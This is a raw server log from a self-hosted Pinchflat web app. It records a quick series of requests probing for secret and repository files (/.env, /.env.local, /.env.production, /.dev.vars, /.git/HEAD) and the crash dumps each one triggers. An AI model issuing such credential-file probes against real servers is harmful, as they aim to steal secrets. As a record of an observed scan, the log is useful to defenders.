db=0.0ms idle=18.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:30:29.189 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:30:29.189 [error] #PID<0.3630.0> running PinchflatWeb.Endpoint (connection #PID<0.3623.0>, stream id 3) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /.env.local ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3623.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.local", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 41378}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip, br", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-connecting-ip" => "34.139.141.56", "cf-ew-via" => "15", "cf-ray" => "a200e05ece0e1e97-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "opti24eu.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.4 Safari/605.1.15", "x-forwarded-for" => "104.22.1.48", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 3, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3630.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip, br"}, {"accept-language", "en-US,en;q=0.9"}, {"cdn-loop", "cloudflare; loops=1"}, {"cf-connecting-ip", "34.139.141.56"}, {"cf-ew-via", "15"}, {"cf-ray", "a200e05ece0e1e97-ATL"}, {"cf-visitor", "{\"scheme\":\"https\"}"}, {"cf-worker", "opti24eu.workers.dev"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.4 Safari/605.1.15"}, {"x-forwarded-for", "104.22.1.48"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/.env.local", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUmBMFkSM0p36cAAUzB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3623.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.local", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 41378}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip, br", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-connecting-ip" => "34.139.141.56", "cf-ew-via" => "15", "cf-ray" => "a200e05ece0e1e97-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "opti24eu.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.4 Safari/605.1.15", "x-forwarded-for" => "104.22.1.48", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 3, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3623.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.local", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 41378}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip, br", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-connecting-ip" => "34.139.141.56", "cf-ew-via" => "15", "cf-ray" => "a200e05ece0e1e97-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "opti24eu.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.4 Safari/605.1.15", "x-forwarded-for" => "104.22.1.48", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 3, host_info: :undefined }}, assigns: %{}, body_params: % (truncated) 02:30:29.190 [info] GET /.git/HEAD 02:30:29.191 [debug] QUERY OK source="settings" db=0.1ms idle=19.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:30:29.191 [debug] QUERY OK source="settings" db=0.0ms idle=5.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:30:29.191 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:30:29.191 [error] #PID<0.3631.0> running PinchflatWeb.Endpoint (connection #PID<0.3623.0>, stream id 4) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /.git/HEAD ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.git/HEAD (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3623.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.git/HEAD", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 41378}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-ew-via" => "15", "cf-ray" => "a200e05ebe11bd41-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "441a83e30e09.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ChatGPT-User/1.0; +https://openai.com/bot)", "x-forwarded-for" => "172.68.71.98", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 4, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3631.0>, params: %{}, path_info: [".git", "HEAD"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip"}, {"accept-language", "en-US,en;q=0.9"}, {"cdn-loop", "cloudflare; loops=1"}, {"cf-ew-via", "15"}, {"cf-ray", "a200e05ebe11bd41-ATL"}, {"cf-visitor", "{\"scheme\":\"https\"}"}, {"cf-worker", "441a83e30e09.workers.dev"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ChatGPT-User/1.0; +https://openai.com/bot)"}, {"x-forwarded-for", "172.68.71.98"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/.git/HEAD", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUmBMGG6k68O8kAAU0B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3623.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.git/HEAD", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 41378}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-ew-via" => "15", "cf-ray" => "a200e05ebe11bd41-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "441a83e30e09.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ChatGPT-User/1.0; +https://openai.com/bot)", "x-forwarded-for" => "172.68.71.98", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 4, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.git/HEAD (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3623.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.git/HEAD", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 41378}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-ew-via" => "15", "cf-ray" => "a200e05ebe11bd41-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "441a83e30e09.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ChatGPT-User/1.0; +https://openai.com/bot)", "x-forwarded-for" => "172.68.71.98", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 4, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3631.0>, params: %{}, path_info: [".git", "HEAD"] (truncated) 02:30:29.236 [info] GET /.env 02:30:29.237 [debug] QUERY OK source="settings" db=0.2ms idle=50.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:30:29.237 [debug] QUERY OK source="settings" db=0.0ms idle=48.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:30:29.237 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:30:29.237 [error] #PID<0.3632.0> running PinchflatWeb.Endpoint (connection #PID<0.3623.0>, stream id 5) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3623.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 41378}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-ew-via" => "15", "cf-ray" => "a200e05ebf20cb62-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "441a83e30e09.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0", "x-forwarded-for" => "104.23.245.109", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 5, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3632.0>, params: %{}, path_info: [""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip"}, {"accept-language", "en-US,en;q=0.9"}, {"cdn-loop", "cloudflare; loops=1"}, {"cf-ew-via", "15"}, {"cf-ray", "a200e05ebf20cb62-ATL"}, {"cf-visitor", "{\"scheme\":\"https\"}"}, {"cf-worker", "441a83e30e09.workers.dev"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"upgrade-insecure-requests", "1"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0"}, {"x-forwarded-for", "104.23.245.109"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUmBMRAtfAQ0iQAAU1B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3623.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 41378}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-ew-via" => "15", "cf-ray" => "a200e05ebf20cb62-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "441a83e30e09.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0", "x-forwarded-for" => "104.23.245.109", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 5, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3623.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 41378}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-ew-via" => "15", "cf-ray" => "a200e05ebf20cb62-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "441a83e30e09.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0", "x-forwarded-for" => "104.23.245.109", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 5, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3632.0>, params: %{ (truncated) 02:30:29.239 [info] GET /.env.production 02:30:29.239 [debug] QUERY OK source="settings" db=0.1ms idle=50.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:30:29.239 [debug] QUERY OK source="settings" db=0.1ms idle=48.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:30:29.240 [info] GET /.dev.vars 02:30:29.239 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:30:29.240 [debug] QUERY OK source="settings" db=0.5ms idle=48.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:30:29.241 [debug] QUERY OK source="settings" db=0.1ms idle=3.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:30:29.241 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:30:29.240 [error] #PID<0.3633.0> running PinchflatWeb.Endpoint (connection #PID<0.3623.0>, stream id 6) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /.env.production ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3623.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.production", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 41378}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-ew-via" => "15", "cf-ray" => "a200e05ecefcb0d9-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "ugaz5a16b074fhpw.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ChatGPT-User/1.0; +https://openai.com/bot)", "x-forwarded-for" => "172.71.22.138", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 6, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3633.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip"}, {"accept-language", "en-US,en;q=0.9"}, {"cdn-loop", "cloudflare; loops=1"}, {"cf-ew-via", "15"}, {"cf-ray", "a200e05ecefcb0d9-ATL"}, {"cf-visitor", "{\"scheme\":\"https\"}"}, {"cf-worker", "ugaz5a16b074fhpw.workers.dev"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ChatGPT-User/1.0; +https://openai.com/bot)"}, {"x-forwarded-for", "172.71.22.138"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/.env.production", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUmBMRpw21-98sAAU2B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3623.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.production", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 41378}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => 